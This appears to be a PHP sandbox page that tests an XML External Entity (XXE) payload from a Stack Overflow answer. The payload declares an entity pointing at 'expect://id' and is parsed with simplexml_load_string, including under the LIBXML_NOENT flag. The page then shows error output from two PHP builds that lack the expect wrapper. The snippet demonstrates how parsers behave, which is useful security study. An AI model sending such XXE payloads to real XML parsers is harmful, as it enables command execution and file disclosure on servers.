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<?php /** * @link http://stackoverflow.com/a/29864193/367456 */ $buffer = <<<XML <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo> XML; //libxml_disable_entity_loader(false); $xml = simplexml_load_string($buffer); $xml->asXML('php://output'); $xml = simplexml_load_string($buffer, 'SimpleXMLElement', LIBXML_NOENT); $xml->asXML('php://output');
Output for git.master, git.master_jit
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "expect://id"> ]> <foo>&xxe;</foo> Warning: simplexml_load_string(): Unable to find the wrapper "expect" - did you forget to enable it when you configured PHP? in /in/8205l on line 18 Warning: simplexml_load_string(): I/O warning : failed to load external entity "expect://id" in /in/8205l on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Failure to process entity xxe in /in/8205l on line 18 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo> in /in/8205l on line 18 Warning: simplexml_load_string(): ^ in /in/8205l on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Entity 'xxe' not defined in /in/8205l on line 18 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo> in /in/8205l on line 18 Warning: simplexml_load_string(): ^ in /in/8205l on line 18 Fatal error: Uncaught Error: Call to a member function asXML() on bool in /in/8205l:19 Stack trace: #0 {main} thrown in /in/8205l on line 19
Process exited with code 255.
Output for rfc.property-hooks
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "expect://id"> ]> <foo>&xxe;</foo> Warning: simplexml_load_string(): Unable to find the wrapper "expect" - did you forget to enable it when you configured PHP? in /in/8205l on line 18 Warning: simplexml_load_string(): I/O warning : failed to load external entity "expect://id" in /in/8205l on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Failure to process entity xxe in /in/8205l on line 18 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo> in /in/8205l on line 18 Warning: simplexml_load_string(): ^ in /in/8205l on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Entity 'xxe' not defined in /in/8205l on line 18 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo> in /in/8205l on line 18 Warning: simplexml_load_string(): ^ in /in/8205l on line 18 Fatal error: Uncaught Error: Call to a member function asXML() on false in /in/8205l:19 Stack trace: #0 {main} thrown in /in/8205l on line 19
Process exited with code 255.

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